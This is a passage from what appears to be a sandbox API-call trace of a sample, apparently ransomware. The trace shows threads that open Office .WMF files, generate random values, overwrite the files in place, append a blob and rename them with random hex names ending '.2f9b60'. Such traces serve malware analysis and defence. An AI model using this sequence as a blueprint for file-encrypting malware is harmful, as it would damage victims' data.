lpNumberOfBytesRead=0x31dbfd08*=0x4, lpOverlapped=0x0) returned 1 [0211.764] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dae0 [0211.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df60 [0211.765] NtQuerySystemTime (in: CurrentTime=0x31dbfc00 | out: CurrentTime=0x31dbfc00*=132462178166290000) returned 0x0 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x2e179126 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x17846bf [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x60c58e11 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x277bb284 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0xbe4a584 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x46e15ba8 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x77ec1bf [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x79166054 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x658b0655 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x624bb62b [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x3eb4a0da [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x3b7596d [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x5c072e1c [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x5ae6bc7e [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x61234b58 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x5302271c [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x174cb067 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x6bec0ba4 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x2dd8e10b [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0xeb9843e [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x13a81da9 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x3f3f201a [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x48877e9f [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x7265773 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x1fb7a78c [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x2ff3dab2 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x21175372 [0211.765] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x437faeda [0211.766] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0xb38ed4b [0211.766] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x314314eb [0211.766] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x1a403d2e [0211.766] RtlRandomEx (in: Seed=0x31dbfbf0 | out: Seed=0x31dbfbf0) returned 0x53cd36b8 [0211.776] ReadFile (in: hFile=0x1704, lpBuffer=0x42868ed0, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x31dbfbf0, lpOverlapped=0x0 | out: lpBuffer=0x42868ed0*, lpNumberOfBytesRead=0x31dbfbf0*=0x738, lpOverlapped=0x0) returned 1 [0211.776] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.776] WriteFile (in: hFile=0x1704, lpBuffer=0x421f79e0*, nNumberOfBytesToWrite=0x738, lpNumberOfBytesWritten=0x31dbfbf4, lpOverlapped=0x0 | out: lpBuffer=0x421f79e0*, lpNumberOfBytesWritten=0x31dbfbf4*=0x738, lpOverlapped=0x0) returned 1 [0215.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac22a0 [0215.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1fa0 [0215.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1fa0) returned 1 [0215.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421f79e0) returned 1 [0215.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42868ed0) returned 1 [0215.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba0e0) returned 1 [0215.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ce0) returned 1 [0215.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42ac1fa0 [0215.558] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.558] WriteFile (in: hFile=0x1704, lpBuffer=0x42c141b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x31dbfd10, lpOverlapped=0x0 | out: lpBuffer=0x42c141b0*, lpNumberOfBytesWritten=0x31dbfd10*=0x10a, lpOverlapped=0x0) returned 1 [0217.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0217.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0217.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0217.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d750) returned 1 [0217.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0217.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f310 [0217.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f310) returned 1 [0217.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0217.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0217.998] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="27") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="53") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="ee") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="60") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="ed") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="cc") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="f9") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="46") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="fe") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="07") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="a5") returned 2 [0217.998] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="bb") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="a8") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="22") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="39") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="3e") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="c4") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="29") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="45") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="26") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="84") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="a0") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="99") returned 2 [0217.999] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="51") returned 2 [0217.999] RtlInitAnsiString (in: DestinationString=0x31dbfd88, SourceString="2753ee60edccf946fe07a5bba822393ec429452684a09951" | out: DestinationString="2753ee60edccf946fe07a5bba822393ec429452684a09951") [0217.999] RtlAnsiStringToUnicodeString (in: DestinationString=0x31dbfd58, SourceString="2753ee60edccf946fe07a5bba822393ec429452684a09951", AllocateDestinationString=1 | out: DestinationString="2753ee60edccf946fe07a5bba822393ec429452684a09951") returned 0x0 [0217.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f4b0 [0217.999] wcscat (in: _Dest=0x431a74e0, _Source="2753ee60edcc" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2753ee60edcc") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2753ee60edcc" [0217.999] wcscat (in: _Dest=0x431a74e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2753ee60edcc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2753ee60edcc.2f9b60" [0217.999] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2753ee60edcc.2f9b60", NtPathName=0x31dbfd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2753ee60edcc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430ff280 Thread: id = 3572 os_tid = 0x1ac8 [0210.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf")) returned 0x20 [0210.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF", dwFileAttributes=0x20) returned 1 [0210.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1750 [0211.033] GetFileSizeEx (in: hFile=0x1750, lpFileSize=0x32b9f980 | out: lpFileSize=0x32b9f980*=15708) returned 1 [0211.033] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x3d58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.033] ReadFile (in: hFile=0x1750, lpBuffer=0x32b9f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x32b9f948, lpOverlapped=0x0 | out: lpBuffer=0x32b9f900*, lpNumberOfBytesRead=0x32b9f948*=0x4, lpOverlapped=0x0) returned 1 [0211.710] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e410 [0211.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f0a0 [0211.712] NtQuerySystemTime (in: CurrentTime=0x32b9f840 | out: CurrentTime=0x32b9f840*=132462178165822000) returned 0x0 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x756b50be [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x18b1cb9b [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x11b6add6 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x46c02cf7 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x15dd9dc5 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x4a2022f5 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x4a9031bd [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x5e35641e [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x1a0296fd [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x42d5ddae [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x4105b466 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x39bbd2b2 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x14007b56 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x6c6cd399 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x4278dea [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x2d7938b9 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x24a39ef [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x765781b4 [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x5f9e258f [0211.712] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x1bc9574e [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0xd617f2a [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x1e9b27dd [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x7fbe3029 [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x7771a243 [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x771d0627 [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x2bae0918 [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x2ae6c0da [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x2083f172 [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x334c819a [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x2aafb015 [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x40bbce85 [0211.713] RtlRandomEx (in: Seed=0x32b9f830 | out: Seed=0x32b9f830) returned 0x451637e7 [0211.723] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.723] ReadFile (in: hFile=0x1750, lpBuffer=0x421ec5b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x32b9f8a0, lpOverlapped=0x0 | out: lpBuffer=0x421ec5b0*, lpNumberOfBytesRead=0x32b9f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0212.125] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d80 [0212.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb960 [0212.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0212.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262060) returned 1 [0212.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cee130 [0212.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262060 [0212.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261490 [0212.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261490) returned 1 [0212.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb960) returned 1 [0212.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0212.129] WriteFile (in: hFile=0x1750, lpBuffer=0x41cee130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x32b9f8a0, lpOverlapped=0x0 | out: lpBuffer=0x41cee130*, lpNumberOfBytesWritten=0x32b9f8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0215.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cee130) returned 1 [0215.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ec5b0) returned 1 [0215.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e770 [0215.597] SetFilePointerEx (in: hFile=0x1750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.597] WriteFile (in: hFile=0x1750, lpBuffer=0x42c15830*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x32b9f950, lpOverlapped=0x0 | out: lpBuffer=0x42c15830*, lpNumberOfBytesWritten=0x32b9f950*=0x10a, lpOverlapped=0x0) returned 1 [0218.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0218.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0218.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0218.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623f0) returned 1 [0218.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0218.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e30 [0218.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e30) returned 1 [0218.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0218.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0218.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d82c0 [0218.042] sprintf (in: _Dest=0x1b7d82c0, _Format="%c%c" | out: _Dest="88") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82c2, _Format="%c%c" | out: _Dest="05") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82c4, _Format="%c%c" | out: _Dest="bc") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82c6, _Format="%c%c" | out: _Dest="be") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82c8, _Format="%c%c" | out: _Dest="25") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82ca, _Format="%c%c" | out: _Dest="d5") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82cc, _Format="%c%c" | out: _Dest="87") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82ce, _Format="%c%c" | out: _Dest="cf") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82d0, _Format="%c%c" | out: _Dest="df") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82d2, _Format="%c%c" | out: _Dest="2e") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82d4, _Format="%c%c" | out: _Dest="1f") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82d6, _Format="%c%c" | out: _Dest="7b") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82d8, _Format="%c%c" | out: _Dest="bb") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82da, _Format="%c%c" | out: _Dest="24") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82dc, _Format="%c%c" | out: _Dest="0a") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82de, _Format="%c%c" | out: _Dest="f3") returned 2 [0218.042] sprintf (in: _Dest=0x1b7d82e0, _Format="%c%c" | out: _Dest="6f") returned 2 [0218.043] sprintf (in: _Dest=0x1b7d82e2, _Format="%c%c" | out: _Dest="aa") returned 2 [0218.043] sprintf (in: _Dest=0x1b7d82e4, _Format="%c%c" | out: _Dest="42") returned 2 [0218.043] sprintf (in: _Dest=0x1b7d82e6, _Format="%c%c" | out: _Dest="b8") returned 2 [0218.043] sprintf (in: _Dest=0x1b7d82e8, _Format="%c%c" | out: _Dest="e9") returned 2 [0218.043] sprintf (in: _Dest=0x1b7d82ea, _Format="%c%c" | out: _Dest="65") returned 2 [0218.043] sprintf (in: _Dest=0x1b7d82ec, _Format="%c%c" | out: _Dest="11") returned 2 [0218.043] sprintf (in: _Dest=0x1b7d82ee, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.043] RtlInitAnsiString (in: DestinationString=0x32b9f9c8, SourceString="8805bcbe25d587cfdf2e1f7bbb240af36faa42b8e96511e7" | out: DestinationString="8805bcbe25d587cfdf2e1f7bbb240af36faa42b8e96511e7") [0218.043] RtlAnsiStringToUnicodeString (in: DestinationString=0x32b9f998, SourceString="8805bcbe25d587cfdf2e1f7bbb240af36faa42b8e96511e7", AllocateDestinationString=1 | out: DestinationString="8805bcbe25d587cfdf2e1f7bbb240af36faa42b8e96511e7") returned 0x0 [0218.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319ee90 [0218.043] wcscat (in: _Dest=0x43108b40, _Source="8805bcbe25d5" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8805bcbe25d5") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8805bcbe25d5" [0218.043] wcscat (in: _Dest=0x43108b40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8805bcbe25d5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8805bcbe25d5.2f9b60" [0218.043] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8805bcbe25d5.2f9b60", NtPathName=0x32b9f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\8805bcbe25d5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x430ff830 Thread: id = 3573 os_tid = 0xea0 [0210.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf")) returned 0x20 [0210.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF", dwFileAttributes=0x20) returned 1 [0210.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7f0 [0211.035] GetFileSizeEx (in: hFile=0x7f0, lpFileSize=0x36f3f6c0 | out: lpFileSize=0x36f3f6c0*=1796) returned 1 [0211.035] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x700, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.035] ReadFile (in: hFile=0x7f0, lpBuffer=0x36f3f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36f3f688, lpOverlapped=0x0 | out: lpBuffer=0x36f3f640*, lpNumberOfBytesRead=0x36f3f688*=0x4, lpOverlapped=0x0) returned 1 [0211.736] SetFilePointerEx (in: hFile=0x7f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0211.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ea10 [0211.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d870 [0211.737] NtQuerySystemTime (in: CurrentTime=0x36f3f580 | out: CurrentTime=0x36f3f580*=132462178165978000) returned 0x0 [0211.737] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x6b471c71 [0211.737] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x6d99508e [0211.737] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x679cb2e4 [0211.737] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0xc22cd7e [0211.737] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x701ec506 [0211.737] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x9488737 [0211.737] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x4ae9af58 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x6679188b [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x630b6d30 [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x7b71cbbe [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: Seed=0x36f3f570) returned 0x2470117c [0211.738] RtlRandomEx (in: Seed=0x36f3f570 | out: 